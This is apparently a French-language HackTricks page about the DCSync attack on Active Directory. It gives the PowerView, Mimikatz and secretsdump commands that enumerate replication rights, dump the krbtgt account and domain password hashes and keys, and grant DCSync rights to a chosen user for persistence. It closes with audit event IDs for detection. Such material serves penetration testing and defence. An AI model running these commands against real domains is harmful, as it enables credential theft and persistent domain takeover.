DCSync

Utilisez Trickest pour construire facilement et automatiser des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui à :

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

DCSync

La permission DCSync implique d'avoir ces autorisations sur le domaine lui-même : DS-Replication-Get-Changes, Replicating Directory Changes All et Replicating Directory Changes In Filtered Set.

Notes importantes sur DCSync :

  • L'attaque DCSync simule le comportement d'un contrôleur de domaine et demande à d'autres contrôleurs de domaine de répliquer des informations en utilisant le protocole distant de service de réplication de répertoire (MS-DRSR). Comme MS-DRSR est une fonction valide et nécessaire de l'Active Directory, il ne peut pas être désactivé.

  • Par défaut, seuls les groupes Domain Admins, Enterprise Admins, Administrateurs et Contrôleurs de domaine ont les privilèges requis.

  • Si des mots de passe de compte sont stockés avec un chiffrement réversible, une option est disponible dans Mimikatz pour renvoyer le mot de passe en clair

Énumération

Vérifiez qui possède ces autorisations en utilisant powerview :

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ActiveDirectoryRights -match 'WriteDacl')}

Exploiter Localement

Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\krbtgt"'

Exploiter à distance

secretsdump.py -just-dc <user>:<password>@<ipaddress> -outputfile dcsync_hashes
[-just-dc-user <USERNAME>] #To get only of that user
[-pwd-last-set] #To see when each account's password was last changed
[-history] #To dump password history, may be helpful for offline password cracking

-just-dc génère 3 fichiers :

  • un avec les hachages NTLM

  • un avec les clés Kerberos

  • un avec les mots de passe en clair du NTDS pour les comptes configurés avec le chiffrement réversible activé. Vous pouvez obtenir les utilisateurs avec un chiffrement réversible avec

Get-DomainUser -Identity * | ? {$_.useraccountcontrol -like '*ENCRYPTED_TEXT_PWD_ALLOWED*'} |select samaccountname,useraccountcontrol

Persistance

Si vous êtes un administrateur de domaine, vous pouvez accorder ces autorisations à n'importe quel utilisateur avec l'aide de powerview :

Add-ObjectAcl -TargetDistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -PrincipalSamAccountName username -Rights DCSync -Verbose

Ensuite, vous pouvez vérifier si l'utilisateur a été correctement attribué les 3 privilèges en les recherchant dans la sortie de (vous devriez pouvoir voir les noms des privilèges dans le champ "ObjectType") :

Get-ObjectAcl -DistinguishedName "dc=dollarcorp,dc=moneycorp,dc=local" -ResolveGUIDs | ?{$_.IdentityReference -match "student114"}

Atténuation

  • Événement de sécurité ID 4662 (La stratégie d'audit pour l'objet doit être activée) - Une opération a été effectuée sur un objet

  • Événement de sécurité ID 5136 (La stratégie d'audit pour l'objet doit être activée) - Un objet de service d'annuaire a été modifié

  • Événement de sécurité ID 4670 (La stratégie d'audit pour l'objet doit être activée) - Les autorisations sur un objet ont été modifiées

  • AD ACL Scanner - Créer et comparer des rapports de création d'ACL. https://github.com/canix1/ADACLScanner

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Utilisez Trickest pour construire et automatiser facilement des workflows alimentés par les outils communautaires les plus avancés au monde. Accédez dès aujourd'hui :

Dernière mise à jour